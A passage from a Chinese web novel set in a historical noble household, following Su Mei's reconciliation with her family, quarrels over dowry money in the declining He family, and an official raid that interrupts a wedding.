苏玫在贺英身上吃了大亏,现在是真心悔过,愿意低头认错,与苏天佑和解。 “大姑娘……” 关氏恨不得给苏钰见礼,外头苏钰说的那番话,她都听到了。 这份人情,不,是恩情,她会记得。 苏钰只是笑,对关氏说着,“从这里到老太爷那里,走着挺累的,正好坐您的车去。” 苏天佑自小疼她,关氏也很好,知道记人情。 与苏玫虽然说不上姐妹情深,但一笔写不出两个苏字。 怀孕流产这一遭下来,苏玫也是吃尽了苦头。终于明白过来,还是爹娘最亲。 这是好事,先缓和了家庭关系,亲父女这么下去也不是事。 “好,我们坐车去。”关氏高兴说着。 丫头扶着关氏,苏钰,苏玫上车,贺英步行紧跟其后,贺家管事跟在后面发红包。 管事,婆子,丫头,小厮,只要今天遇上的,全部都有份。 许多下人听到消息,都赶紧凑了过来。 一行人到知春堂时,苏震岳己经收到消息。 “祖父。” 苏玫在院子里就给苏震岳跪下了。 至于贺英,知道苏震岳的脾气,连院门都没敢进,只在院门口跪下了。 “我知道错了,祖父,我真的知道错了。”苏玫痛哭流涕。 要是有后悔药,她愿意用一切去换。 但世上没有后悔药,她只能这么走下去。 苏震岳见状,十分气顿时消了八分,“地上那么冷,起来吧。” 关氏虽然心疼女儿,却道:“她也得长长记性了。” “人嘛,总有想歪的时候。”苏震岳说着。 错不错的,人生哪有所谓的对错。 只有时候一步踏偏了,就只能顺着偏的了道走下去,再也回不去。 “妹妹,起来吧。” 苏钰上前去扶苏玫,刚才拉着苏玫手时,她就感觉到了。 苏枚是真瘦,一阵风都能把她吹走。 有兜底的娘家,可以让她有更多的选择,却没有办法重新来过。 苏钰扶起苏玫,众人进到苏震岳正房。 苏震岳活的粗糙,地龙都懒得烧,更不用说碳火盆。乍一进去,如冰窑一般,不比外头暖和多少。 苏震岳不怎么讲规矩,众人各自寻寻了坐位落座。 至于上茶,更不用想了。 “去看过你祖母了吗?”苏震岳首先问着。 哪怕分开了这么多年,凡事他头一个想到的都是谷夫人。 苏玫摇摇头,小声说着,“听母亲说,祖母还病着。若是再因我生气,添了病气,我岂不是更添了一重罪。” 虽然是亲祖母,但苏玫与谷夫人见面的次数都有限,如何敢冒然过去。 “小孩子家犯了错,你去找她,她只会高兴不会生气。”苏震岳说着,“一会去看看她,也让她高兴高兴。” “是。”苏玫应着,只要谷夫人能接受她,她一定去的勤。 “以后好好过日子,想回家就回家,你那个爹,我来管。”苏震岳又道,“还有,你那个夫婿,我看不上,少让他在我面前晃。” “是,我都记下了。”苏玫小声说着。 苏震岳又看向苏钰,夸赞着,“你的心胸像你爹,是个能成事的。” 苏钰听得笑了,“老太爷难得夸我一回,我可得好好高兴高兴。” 苏震岳常骂人,夸人的时候少。 又说了几句,苏震岳不想听女子话家常,便摆手道:“去看看你们祖母。” 说着径自起身。 她们去,他当然也得一起去。 第59章 第 59 章 众人到乐道堂不久,…… 众人到乐道堂不久, 苏天佑就回来了。 事情全过程,他己经听管事说了。官服都没换,就直奔乐道堂。 贺英在知春堂门口跪完,紧跟着到了乐道堂。 谷夫人倒是没让他跪, 贺英极其有眼色, 进屋后也不坐, 猫到角落里, 存在却没有存在感。 “孽障!” 苏天佑怒吼着冲进来,连苏震岳和谷夫人都没顾上见礼, 冲着苏玫就来了,“故意在门口闹这么一出,嘴上说着改过,真改过是你这样改的!” 除苏震岳和谷夫人,其他人连忙起身。 原本猫在角落里的贺英, 却是冲到苏玫面前,“岳父大人,千错万错都是我的错。” “给我滚开!” 苏天佑根本就不想搭理贺英, 又看贺英碍眼, 一脚踢了过去。 他对苏玫生气, 是因为他对苏玫还有爱。 贺英这种女婿,因为没有丝毫感情, 完全不想看到, 看到了顺手砍死也行。 贺英虽没有功夫,但年轻人挨一脚本没什么,但也是踢的巧了,苏天佑这一脚正好踢到脸上。 头倒是没破,鼻血却开始流了。 “三叔……”苏钰上前劝着, “打死贺英也没什么,只是别气到自己了。” 正捂着鼻子的贺英,下意识抬头看一眼苏钰。 这,还不至于吧。 他一直觉得,他跟苏钰关系挺好的,与男女之情无关,只是交情。 苏震岳皱眉,“你母亲在呢,哪能动手见血,要打也要出去打。” 贺英连看都不敢看苏震岳,索性顺势老实跪好,一言不发。 “唉……”谷夫人叹气,对旁边刘顺家的说,“带他去里间上药,止止血。” “是。” 刘顺家的带贺英到梢间处理伤口,苏玫哭着朝苏天佑跪了下来,“爹爹,我知道错了,你打我骂我都行,但你不能不要我。” 说到这里,苏玫失声痛哭,心里难过极了。 她从出生就是苏家的三姑娘,理所当然的享受着一切,从来不知道父母的爱护有多重要。 直到现在,她失去了,也明白了。 苏玫说的真切,又这么一哭,苏天佑心里顿时百感交集,眼泪也跟着落了下来。 “人这一辈子哪有不犯错的,只要以后好好的,就是好孩子。”谷夫人说着,对关氏使了眼色。 关氏这才上前,把苏玫扶起来。 苏玫哭泣着,站到苏天佑面前,哽咽着,“爹爹……” 苏天佑长叹口气,“孽障就孽障吧,谁让我是你爹呢。” 苏震岳冷哼着,“还孽障,你自己不也是。” 儿女皆是父母的债,一辈接一辈,都得还。 谷夫人看一眼苏震岳,苏震岳不再言语。 “今天如此高兴,晚上都在我这里吃饭。”谷夫人说着,看向关氏,“怎么不见越哥儿?” “他去读书了,我己让人去寻他,一会就回来。”关氏说着。 苏越依然不想读书,读书苦,谁想吃苦呢。 但书不读不行,按着头也得读。 刘顺家的早吩咐了厨房,乐道堂摆了两桌,连止了血的贺英也跟着上了桌。 贺英十分乖觉,知道苏震岳和苏天佑皆不喜欢他,他就老实当个倒酒的小僮,一口不吃,专心侍侯。 虽然同住一府,但难得齐聚,尤其是三房竟然三代人都齐了,更是第一次。 吃吃喝喝到晚上,散了席,谷夫人也乏了,各吩咐自回去。 苏震岳最后走的,他要看着谷夫人吃了药才走。 苏钰跟着小酌了两杯,出了屋子,冷风一吹,竟然有几分寒意。 车驾己经停在乐道堂门口,苏钰正欲上车时,关氏带着苏玫走了过来,认真行礼道,“多谢大姑娘成全。” 苏钰连忙躲开,笑着说,“三太太这是折煞我了。” “是我们娘俩欠了你的。”关氏说着,“但凡我能做到的,大姑娘尽管开口。” 苏天佑和苏玫父女大和解,苏玫以后也能常家里,她这颗心也放下了。 苏玫也跟着道:“大姑娘的大恩,来日我必将报答。” “一家人何必说两家话。”苏钰说着看向苏玫,意味深长,“姐妹总是姐妹。” 一荣俱荣,一损俱损,大家族众人的命运本就是绑一起的。 苏家家庭成员简单,没有庶出这一条,就抹掉了七成以上的家族矛盾。 团结一心就算了,人嘛,都有自己的心思。 内斗就没必要了,尤其是没有重大利益冲突的情况下,没什么好斗的。 苏钰希望苏玫能明白这一点,她从来没想过嫁贺英,抢婚什么的,就此翻篇。 以后苏玫当安心当贺家媳妇,至于她想怎么当,都是她自己的事。 只要她还当自己是苏家女儿,大家拥有共同的利益,互相之间不要内斗,能相互帮扶就更好了。 关氏听得心中叹服,“大姑娘果然有胸襟。” “刚才老太爷才夸过我。”苏钰笑着说,伸手拉了拉大氅,“外头太冷了,三太太和妹妹快回屋吧。” 苏玫道:“等闲了,我去找姐姐说话。” 因为太晚了,苏玫和贺英也没回贺家。 苏玫跟着关氏回了玉粹堂,至于贺英,随便找间书房凑和一晚,没让他睡马棚都是苏天佑心情好。 苏钰回到听雨轩,疲惫涌了上来。 这一天过的,可真是充实。 什么都不想了,唤来小丫头打水洗脸,就要更衣睡觉。 “姑娘……”绿川走过来,小心翼翼说着,“刚才婆子来说,下午薛大爷派婆子来送东西,管事见的,东西没要,都客气的退回去了,说是老太太的意思。” 苏钰沉默,好一会才道:“退了也好,以后都不收了。” 绿川不敢多言,侍侯着苏钰更衣睡觉。 *** 婆子提着东西回到晋阳长公主府,犹豫了好一会才敢进临流草堂。 “没见到姑娘,是管事来接待的。”婆子低着头,一副犹犹豫豫的模样。 退回的食盒礼物,全部放到桌子上。 东西在这里,话也就不用说了。 薛迟并不意外,神色还是黯了下来,问,“现在国公府是谁主事?” 能被薛迟使唤的婆子,个顶个的精明,虽然主子没有事先吩咐,该打听的都打听了。 “是杨家的那位老太太。”婆子说着,“特意吩咐了管事,但凡公主府的送来的,都不收了。” 薛迟听出问题,“谢无衣也往苏家送过东西?” 但凡公主府送的,就表示送的不止他一个。 另一个是谁,不言而喻。 “送过一次。”婆子小心翼翼说着,“是姑娘房里的绿川姑娘接的。” 往苏家送东西一直都是她去,管事却说,来过一个小子,听描述应该是墨砚。 “我知道了,你下去吧。”薛迟说着。 婆子大松口气,刚要见礼退下,就听薛迟又道,“东西都拿走。” “是。” 婆子哪里敢问要怎么处理,拿起东西赶紧离开。 等婆子出了门,薛迟平了平气,回到书桌旁,继续看卷宗。 他己经收到宫里的消息,关太后说要指婚,都被慕容宁拒绝了。 这种情况下,哪怕是做样子,苏钰也不会再收礼物。 短期之面,见面只怕都不能了。 心里早有预期,薛迟并不生气,只觉得有些沮丧。 早知道这样,前些日子他就不该忙于公务,应该多与苏钰见面。 “大人……” 陈平进屋,上前见礼,说话却不像以前那般痛快,显得十分犹豫。 “下官打听到一些,苏姑娘与谢大人是监察寮认识,长公主大寿那天,是他们第二次见面。” 不管是苏钰还是谢无衣,行踪都很好查。 两人的交集非常少,只看表像很像是谢无衣在单相思。 “还有呢。”薛迟说着,目光凝重。 陈平犹豫起来,“苏姑娘经营过一家书店,叫文墨局,后因经营不善转手给了掌柜夏书和。” “据店里的伙计说,苏姑娘写过不少话本,卖的也很好。经常有读者会写信送到书局,苏姑娘会捡着回信。” 薛迟有些意外,“她竟然还写过话本。” 话本不像诗词,在文人面前是不入流的。 苏钰一个国公府千金,写话本,若是被人知晓,定会被议论。 “化名所写,京城所知之人甚少。”陈平赶紧说着。 薛迟只是意外,并不会觉得写话本不入流,“这与谢无衣有何关系?” “谢大人也曾往文墨局递过信。”陈平说着。 信件收发查起来十分费劲,尤其调查对象是谢无衣,准确度就更低了。 建章营骑,天子近侍,谢无衣看着懒散,该干的活一点都不少。 他的行踪一直有所隐瞒,身边使唤的人也绝对忠心。暗探查到他身上,不等出结果就要先出人命。 再者,往书局送信这种事。谢无衣若是不想让人知道,随便找个下人,都不用说谁送的,送过去即可。 书局每天收到那么多书信,除非知道专门的联络暗号,想找出来宛如大海捞针。 “你是说,他们俩通过信?”薛迟目光不由的放到书桌上堆着的书信。 这样的书信,苏钰也给谢无衣写完? 这个想法,让他十分难受。 他喜欢苏钰文字里的热情,这该是他一个人的。 “下官并没有找到确切证据。”陈平用词十分谨慎。 是他没有找到证据,到底有没有通信,他真不知道。 就是知道了,以薛迟现在的情绪,他也不敢说。 陈平继续说,“谢大人涉猎颇杂,对市面上贩卖的话本十分喜欢。不止文墨局的,其他书局贩卖的,只要市面上有的,他都会买。” 谢无衣并没有贵族矜持,觉得话本低级,反而一直没有隐藏过自己的喜欢。 每期出书都买,不放过一本,这种反而不知道他是不是很喜欢苏钰写的话本。 “这几年来,除了往文墨书局递信之外,其他书局也都递过。”陈平说着,“下官认为,谢大人出于对书籍的喜欢,会递信到书局也在情理之中。” “他倒是有时间。”薛迟说着。 杂学是非常花时间的,就比如看话本,随便翻一翻两个时辰过去了。 两个时辰,够他看许多书卷了。 陈平不敢接话,他一直觉得薛迟把自己逼的太紧了,谢无衣的状态反而比较正常。 “从两年前,谢大人任职建章营骑的使挥使后,话本虽然还是按习惯买,书信却少了许多。” 不过巧的是,其他书局都不送了,只给文墨局送信。 “除此之外,苏姑娘与谢大人再无交集。”陈平说着,“下官有个猜测,谢大人可能是仰慕苏姑娘的文学才华。” 书粉转爱慕之情,这是最有可能的。 谢无衣像是在无理取闹,苏钰才会一脸茫然。 薛迟神色缓和许多,“我知道了,此事不要再提起。” “大人放心。”陈平说着。 调查出来这个结果时,他着实松了口气,苏钰和谢无衣清清白白,不存在感情纠纷。 不然他都要担心,汇报完,就会被灭口。 第60章 第 60 章 贺英在国公府书房迁…… 贺英在国公府书房迁就了一晚, 第二天就回了勇毅侯府。 苏家上下都不待见他,连下人都有些冷淡,贺英呆不住,只能走。 苏玫在玉粹堂住了三日, 早晚给长辈们请安, 尤其对苏天佑, 格外乖顺。 “爹爹也就是嘴硬, 对我和弟弟都是极好的。”苏玫笑着说。 父母的爱最无私,也最无感, 因为从小到大都能感受到,反而觉得不重要。 直到出了阁,有了对比后,马上就知道爹娘的好了。 “亲父女哪有隔夜仇。”关氏说着,“以后在贺家住着不舒服, 只管回家来,我把你的屋子收拾出来。” 苏天佑虽然为爱发癫,但他重情。 重情的人, 比无情的人好, 有人情味, 对家人就不会坏。 “我也是如此想的,贺家现在穷了, 一个个都掉钱眼里, 烦死了。”苏玫说着。 关氏宽慰她,“贺英是探花,将来前途还是有的。这回跟着你一起过来,倒是很乖觉。” 苏家的家世背景在这里摆着,贺英想作妖, 难着呢。 苏玫心头冷笑不己,却不想给关氏添烦,把话题岔开,“越哥儿书读的怎么样,先生怎么说?” 提到苏越读书,关氏不禁叹气,“先生说,越哥儿是有天份的,只是心思不在上面。” 苏天翊是状元,叶峰是状元,苏天佑是榜眼,如此强大的基因加成,教书先生都不敢说苏越没有天份。 问题是,苏越不想读。 母女俩正说话,就有婆子进来说,“太太,三姑奶奶,三姑爷来了,说来接三姑奶奶。” 关氏估摸着也该来了,正想说请贺英进来,苏玫抢先一步说,“让他在前书房等着,我就过去。” “是。”婆子应着,转身去了。 苏玫并不想回贺家,但贺英都来接了,也只得先回去。 唤来小丫头侍侯更衣,梳洗穿戴好了,从苏震岳起,谷夫人,苏天佑,苏钰每处走一趟辞行。 等到苏玫到前书房时,贺英己经等了一个时辰,天都黑透了。 夫妻俩走到二门上车,洪婆子正吩咐小子们往车上搬箱子。 “这些是太太给三姑爷,三姑奶奶准备的。”洪婆子笑着说,“这箱里的是药材用品,另外一箱是今年的冬衣。” 药材是给苏玫补身体的,用品是供苏玫日常使用的。 衣服是今年做冬衣时,关氏没有裁苏玫的用度,针线上依然做了苏玫的份。 按关氏想的,就是苏玫出嫁了,也不能受委屈。 还是按照在家里的惯例,四季的衣服首饰全都有。 箱子里也有贺英一件,原本是给苏越做的大氅。因毛峰出的不好,一直白放着,便顺手送给贺英。 “多谢岳母。”贺英郑重致谢。 洪婆子笑着说,“姑爷太客气了,太太只有三姑奶奶一个女儿,自然要偏疼些的。” “那是自然。”贺英笑着,“我们就先告辞了。” 说话间,苏玫己经先一步上车,贺英也紧跟着上来。 马车缓缓驶出二门,贺英拿出汤婆子塞到苏玫手里,“车里还是有些冷,你暖暖手。” 苏玫看着手里的汤婆子,又看一眼贺英。手是暖了,心却更冷了。 “我还得谢谢六爷,要不是你的主意,我也不会跟父亲和解。”苏玫说着。 到门口堵苏钰这出,是贺英的计划。 她虽然很想与娘家和解,但要怎么做,她是不知道的。 然后,贺英提供了计划。 贺英笑着说,“我们是夫妻,夫妻一体,哪里需要说谢。” 他与苏钰相交一场,很了解苏钰。 苏钰能跟仕子们玩的好,才情是一方面,更重要的是,她大气。 小事从来不放在心上,有容人之量,也有宽容他人的度量。 只要苏玫是真心想和解,就算为了苏天佑,她也会成全。 “呵~夫妻啊。” *** 临近过年,各家各户都十分忙碌,交际应酬少了许多。 苏钰更是修身养性,在家搞创作,连关子烨递的拜贴都没去。 品花楼重新装修好了,吴德全各种写信,请京城的才子显贵过去捧场。 关子烨就想着,趁机开个诗会,大家以文会友,热闹一番。 “我才不去,肯定会被说三道四。”苏钰说着。 只要想到品花楼为何重新装修,她短期内就不想去品花楼。 绿川在旁帮着苏钰整理书稿,笑着说,“刚才三姑奶奶送来贴子,三天后贺姑娘出阁,是姑爷的亲妹,希望姑娘能过去。” 苏钰并不想去,但刚与苏玫和解,她的小姑子出嫁,又特意下贴,也不好不去。 “那就去吧。”苏钰随口问,“许的是哪家啊?” “贴子上说了,是冯家大爷,冯家的大房长子。”绿川说着。 冯家虽然没有爵位,却是是书香门第。冯大爷的曾祖曾官至阁老,冯大爷的父亲也是进士出身,是现任吏部员外郎。 冯大爷去年中了秀才,听说样貌生的也不错。 与苏小妹说不上天作之合,至少门当户对。 “冯家啊……” 苏钰想到了冯决,监察寮二队的队长,慕容宁的心腹。 不过监察寮与建章骑营不同,天子近侍都是贵族子弟,监察寮应该不讲究出身。 京城姓冯的那么多,不可能这么巧。 “姑娘认识冯大爷?”绿川好奇问。 京城子弟里卧虎藏龙,冯大爷一个秀才,苏钰应该不认识。 苏钰摇摇头,“礼物准备了吗?” “准备好了。”绿川说着,放下书稿,到暖阁里。把自己挑好的四件礼拿出来,让苏钰过目。 贴子来了,不管人去不去,礼都得到。 未出阁的姑娘送礼,不外乎首饰布料,意思一下就行,她都可以做主。 苏钰随意看了一眼,“嗯,挺好的。” 苏钰点头了,绿川这才叫来小丫头,把四件礼物包装好,等三天后带过去。 “姑娘许久不写书稿,终于又动笔了,夏掌柜肯定很高兴。”绿川笑着说。 自从开始谈恋爱,苏钰就封笔了。 现在不能谈了,马上又开始写。 恋爱让人懒惰。 “这本不出。”苏钰说着。 写的是,她和薛迟的爱情故事,从当笔友开始,又在现实相遇。 这样的故事适合自己读,绝对不能出书,她甚至都不想让薛迟看到。 绿川会意,笑着说,“我一定帮姑娘好好收着,谁都不让看到。” 苏钰敲了一下绿川的头,“就是你聪明。” “不聪明姑娘也不喜欢。”绿川说着。 三天后,贺小妹出阁当天,苏钰与关氏同车去了勇毅侯府。 虽然与贺英订过亲,苏钰真没来过勇毅侯府。 只是隐约知道,勇毅府大不如前了,要不是贺英中了探花,只怕还要再下一层。 三代侯府,人口繁杂,没有一个能顶起门户的能人。单凭着爵位和捐官的虚职,根本就撑不起侯府的门面。 车驾停到二门,丫头扶着关氏和苏钰下车。 关氏来过贺家,知道贺家内部管理凌乱。 贺大太太为了省钱,府内通行没有马车,全凭两条腿走。 有客来,别说主人来接,有时候连个管事媳妇都没有。 “太太,大姑娘……” 一直在二门等侯的宝瓶迎了上来,“三姑奶奶有事在身,派我来迎太太和大姑娘。” 苏钰笑着道:“小姑子出嫁,当嫂子的是要忙些。” “怎么是你过来?”关氏问宝瓶。 宝瓶是苏玫的贴身丫头,就是苏玫过不来,也该是张婆子过来。 派丫头来迎,就显得太怠慢。 她是苏玫的亲妈,不会计较。但怠慢苏钰,就显得失礼。 宝瓶神情欲言又止,吱吱唔唔的说了。 苏玫没来,是真的来不及,被缠住了。 张婆子没来,不是张婆子托大。而是贺大太太,贺二太太正跟苏玫闹着,实在走不开。 勇毅侯府守了三年孝,小一辈的婚事都耽搁了。 贺英娶亲时,贺大太太都不太乐意,她想让自己的女儿先出阁。 但苏玫这边等的急,不得己先娶了苏玫。 贺大太太有些生气,但也无可奈何。 终于苏玫娶进门了,苏大太太想着,怎么也得轮到自己女儿了。 没想到冯家那边送来消息,说是冯老太太不太好了,想借着喜事冲一冲。 再就是不想再耽搁,不然再等三年,双方年龄都太大了。 贺二太太本来就担心冯家的亲事黄了,当然想着赶紧把贺小妹嫁过去。 贺大太太哪里会同意,哪怕是贺大老爷发话,她都不同意,公然吵闹起来。 女儿现在出嫁,还是几个月后出嫁,本没有妨碍,根结点在于钱。 高门大户嫁娶都非常花钱。 就比如贺英成亲,哪怕办的仓促,因为娶的是苏家千金,单是聘礼就一万两。 再加上其他一起,总共花了一万五千两。 看着帐单的时候,贺大太太心都在滴血。 勇毅侯府是真没钱了,一万五千两拿出去,掏空了半个家底。 现在侯府总帐上,也就一万多两。 要是再发嫁贺小妹,虽然不像贺英娶亲那样能花,但大几千两也是要的。 这笔再花出去,到她女儿出嫁时。她就是再想给女儿嫁妆,没钱了,怎么都没用。 为了谁的女儿先出嫁,或者说谁的女儿用这份嫁妆,大房二房吵闹不休,连贺老太太劝解都没用。 只用嘴劝,一点私房钱都不往外拿,解决不了根本问题,怎么都没用。 本来这些与苏玫是无关的,贺二太太却在孙怜娘的怂恿下,找贺大太太说。 帐上没钱,但苏玫有钱。贺家给的聘礼,苏玫的嫁妆全在自己手里,肯定是笔大数目。 同时贺二太太以婆婆的身份,向贺大太太保证,只要先发嫁贺小妹,她就向苏玫借钱。 贺老太太趁机调解,贺大太太犹豫一下也同意了。 都知道苏玫爱慕贺英,为了贺英各种倒贴,从苏玫手里拿钱应该很容易。 贺小妹和冯大爷的婚事开始张罗,贺大太太也开始催贺二太太,贺二太太每次都说在说了,不能太心急。 原本贺二太太想着,苏玫如此倒贴贺英,自己拿出婆婆的款来,苏玫怎敢不从。 再者,苏玫不守妇道,本就有过错。 因为此事,冯家都对贺小妹有点意见。 要不是冯老太太不太好,需要冲喜,又担心儿子年龄拖大,婚事都有点悬。 苏玫做为嫂子,不该补偿一下小姑子吗。 贺二太太想的很好,结果苏玫进门后,婆媳不和,各种打架。 贺二太太就是再傻,跟苏玫吵闹这么多回,也知道这个儿媳妇拿捏不住。 事己至此,贺二太太就想着,先把贺小妹嫁出去再说。 后来苏玫流产,关氏隔三差五的过来,一副不打算在贺家过下去的模样。贺大太太急了,她不敢去找苏玫,但她可以找贺二太太。 今天贺小妹出阁,今天再不闹,就真没机会。哪怕让贺二太太拿自己嫁妆出来,也得咬下来一块肉。 贺二太太哪里是贺大太太的对手,本性又怂,顾不上体面,直接带着贺大太太去找苏玫。 宝瓶过来时,贺大太太正在怒骂贺二太太,张婆子担心苏玫吃亏,不敢离开,便让宝瓶过来接人。 “贺家竟然这么穷了……” 别说苏钰一个闺阁女儿,连关氏听完都惊呆了。 女儿出阁虽然是小喜事,但相熟的亲友也是会来的。 这种时候撕逼,还是两个长辈跑到晚辈面前撕,叹为观止。 “我听府里的老人抱怨过,说是大如从前。”宝瓶说着。 她是陪嫁丫头,虽然也领着贺家的月钱。但苏玫手里有钱,张婆子管事,对下人从来大方,他们这些陪嫁都不缺钱用。 关氏听得都无语了,苏钰更不知道说什么好,索性什么都不说。 这一路走来,苏钰留意四周环境,哪怕今天有喜事,也有几分破败之像。 连带着来往的下人,虽然衣衫整齐,脸上多少都带着点怨气。 宝瓶边说边走,刚进苏玫所住的院落,里头就传来贺老太太的叹息声,“大喜的日子,你们在这里闹,也不怕亲戚朋友笑话。” 贺大太太一直吵闹,张婆子便打发人去请贺老太太,想着多少能管一管。 贺大太太话中含怒,十分不客气,“老太太,当日是你调停的,给二太太做了保。现在她女儿拿了嫁妆出嫁了,却翻脸不认帐。” 贺老太太嘴上说这么多,拿钱出来啊,其他都是虚的,钱拿出来才是真的。 贺二太太被贺大太太骂的没处站,抹着眼泪对苏玫说,“今天小妹出嫁,你当嫂子的拿钱出来怎么了。” 苏玫气笑了,“太太们都有嫁妆,轮几轮能轮到我。” 刚才贺大太太和贺二太太在她跟前闹的时候,她觉得有点莫名,又有种看猴戏的奇葩感。 要刚进门的嫂子贴钱给小姑子当嫁妆,这种话竟然能说出口,是真不知道廉耻二个字是怎么写。 一句太太们,是把贺老太太也包括在内,三人脸色都不太好看。 贺大太太并不冲着苏玫,她这个隔房的大娘,问侄媳妇要钱,实在张不开口,只是对贺老太太道:“老太太,您怎么说。” 当了这么多年的老封君,手里不可能没钱,却是死抠着,估计是想带进棺材里。 贺老太太一声叹息,却是看了一眼苏玫,正想开口时,就听门口传来小丫头的声音,“亲家太太来了。” 小丫头打起帘子,关氏和苏钰一前一后进来。 看到关氏,贺老太太马上住了口,贺二太太则有些怕了。 “亲家太太来了。”贺老太太陪着笑脸。 “老太太,安好。”关氏笑容很淡,却是看着贺二太太,“我刚才外头听到,什么嫁妆不嫁妆。贺家这样的大族,怎么可能算计儿媳妇的嫁妆,想来是我听错了。” 几乎明示的话,连贺老太太脸色都肉眼变得难看起来,贺大太太也低头不敢吭声。 关氏可是不好惹的,出身名门,贵妇社交圈里出了名的社牛。 说话温和,手腕圆滑,却从来不吃亏。 “怎么能呢,我是看媳妇病了,过来瞧瞧。”贺二太太一脸慌乱说着,“小妹那里快收拾好了,我得过去看看。” 说着,也不管在场众人的脸色,急匆匆跑了。 贺大太太看她跑了,虽然生气,但当着关氏的面,不可能从苏玫拿到钱,便笑着道:“亲家太太跟六奶奶肯定有话说,我也先过去了。” 贺老太太趁机道:“我也去看看小妹那边怎么样了。” 三人齐刷刷走了,关氏顿时拉下脸来,“勇毅侯府,高门大户,竟如此不知廉耻。” 以前只觉得贺英阴险算计,贺二太太糊涂又闹腾。 直到今天,连贺老太太在内,都在算计儿媳妇嫁妆,这是从上到下烂透了。 “母亲不必生气,随她们闹去,当猴戏看了。”苏玫说着。 她以前还觉得关氏只陪嫁她庄子很不方便,现在是庆幸。 庄子田契动不了,她的嫁妆,谁都拿不了一分。 苏钰听得笑了,“妹妹现在精神好多了。” 换成以前的苏玫,太婆婆,婆婆在她面前闹,肯定得先内耗一番。 现在想开当猴戏看了,精神状态这是真好了。 “让姐姐看笑话了。”苏玫笑着说,“难得姐姐肯过来,我是真的高兴。” 毕竟是贺家,要不要请苏钰,她也犹豫了许久。 请了,担心苏钰尴尬;不请,亲小姑出阁,正常人际交往不送贴子,显得失礼。 最后,她写了贴,来不来由苏钰决定。 “我许久不出门了,正好透口气。”苏钰笑着说。 “贺英呢?”关氏问。 自己老婆被欺负,贺英这是又装死了吗。 “他估计在后头,收拾小妹的嫁妆。”苏玫说着。 贺大太太和贺二太太都直接在贺老太太面前撕,贺二老爷又是个废物。 要是没有贺英张罗,贺小妹的嫁妆只怕难抬走。 关氏脸色稍缓,却是道:“没想到贺家内里竟如此不堪。” 出身名门,出阁前千金小姐,银钱从来不放眼里。 出阁后,虽然与丈夫不和,苏家的钱和势是管够的。 关氏人生里就没有缺钱这个概念,对于落魄贵族也只是有所耳闻,接触到的亲戚里,贺家还是第一个。 苏玫对于贺家落不落魄全然不在乎,她又不依靠贺家穿衣吃饭。 “既然来了,我们也去看看吧。”苏玫说着。 贺小妹与贺二太太不同,温柔识大体,虽然有些过份老实,却招人疼。 她流产后,贺小妹还来看过她几次,说了几句安慰的话,看的出来是真心的。 贺小妹与贺二太太同住,住了东厢房三间,出阁备嫁也在此处。 全福娘子己经在梳头,说要来看贺小妹的贺老太太和贺二太太均不在,只有几个旁支的妇人在旁边,叽叽喳喳说着话。 贺家本家都那么穷了,旁支就更穷了,趁着有喜事想过来占点便宜。 “六奶奶来了……” 妇人们看到苏玫,连忙起身问侯。 正在梳头的贺小妹也欲起身见礼,苏玫笑着道:“快坐下吧。” 苏钰第一次见贺小妹,果然如苏玫所说,看着就很老实,招人疼。 贺家二房的基因也是真奇葩,父母那样,儿女又这样。 “苏大姑娘……” 贺小妹看到苏钰时,明显愣了一下。 苏钰可是京城名人,认识她的太多。 因为太有名了,又是未来的嫂子,她曾偷偷看过苏钰。 “竟然认得我。”苏钰笑着,“幸好带了礼物来了,不然就尴尬了。” 关氏早有准备,送了一套头面添妆。苏钰也把礼物送上,贺小妹起身道谢。 全福夫人梳完头,离迎亲还有一会,便没盖上盖头。 片刻后,贺老太太,贺大太太,贺二太太也终于过来了。 贺大太太心情还不错,贺老太太终于吐口,她从私房里拿钱,女儿嫁妆有着落,又不用自己补贴,自然开心。 贺二太太也高兴,自己女儿拿着嫁妆出门了,贺大太太以后也不再找她麻烦。 贺老太太有点不高兴,但老人成精,面上一点都不显,乍一看婆媳三人还算和谐。 众人闲话间,时间一点点过去,眼看着就到迎亲的吉时了,却没听到鞭炮声。 有个旁支妇人小声说着,“是有事耽搁了吗?” “有什么事能比迎亲还重要的。”另一个妇人小声说着。 整理好嫁妆的贺英也过来了,心里有些担心,不会是冯老太太今天就…… 就在众人忐忑不安之时,就有小厮飞跑进来喊着,“出事了,冯家被抄家了……” 60-70 第61章 第 61 章 冯家是大族,书香门第,…… 冯家是大族, 书香门第,曾祖曾官至阁老。 到冯大老爷这一代,虽然只有一个五品员外郎的官职。但几代人经营,亲朋好友, 门生故旧一大堆。 底子空了, 架子还在。 “怠慢了, 怠慢了……” 冯大老爷笑着招呼宾客, 嫡长子娶亲,还是自己看中会读书的儿子。哪怕对这个儿媳妇有点点不满意, 心情还是很好的。 不管怎么说,贺英中了探花,有这么一个大舅哥,也可以了。 眼看着就要到吉时,鞭炮声响了起来, 新郎官要去迎亲。 冯大老爷招呼了一上午宾客,正想休息一会,就听大门口传来大声喝喊, “监察寮办案。” 冯大老爷猛然打了个激灵, 快步跑过去。在场的宾客也听到了, 顿时变了脸色。 监察寮在以前就是闲职,连正使是哪个都搞不清楚。 自从慕容宁上任, 风向是全准了, 办差那叫一个狠。 但凡被监察寮找上门的,就没全身而退的。 “慕容大人……” 冯大老爷声音颤抖,拱手见礼时,身体都快抖成筛子了。 慕容宁神情冷漠,高高在上的看着冯大老爷, “你的事发了。” 随即挥手,身侧卫官直接上手,两人一起,把冯大老爷摁住。 “下官不知所犯何事……”冯大老爷直接哭了出来。 慕容宁懒得理会,越过冯大老爷径自走向院中。 监察寮卫官的官服如此显眼,在场宾客早就吓傻了,有几个下意识就想跑路。 有人先跑了,其他人也想跑。 他们只是来吃个喜酒而己,谁都不想去监察寮走一趟。 “所有人,站在原地。” 场面眼看着就乱起来,慕容宁冷声说着,语调并不高,声音却足够让所有人听到。 慌乱中的宾客,有些停了下来。只是来吃席而己,能有多大事。 而知道是什么事的,此时己经慌不择路,对慕容宁的话全然不听,或者根本不去听,无头苍蝇一样乱转。 慕容宁微微皱眉,当即取下背上长弓。弯弓射箭,对准跑的最快的那个。 箭矢之声划破长空,就听一声刺耳的尖叫,箭矢穿透那人左肩。 箭矢上过份强悍的力道,并没有因此停下来,把整个人都带了起来。 一支长箭,把人盯到了墙上。 “啊!!!” 杀猪一样的尖叫声,却让整个前院安静了。 着急跑路的都不敢动了,怔怔呆在原地,场面顿时控制住了。 卫官搬来椅子,摆在院子正中位置,慕容宁坐下来,“四门关闭,所有人现场接受问询。” *** 接亲要算时间,贺英早早派了自己身边的小厮去街口守着。看到新郎官骑马出门,马上回去禀告。 结果,小厮没看到新郎官出门,只看到一群带刀官爷冲进去。 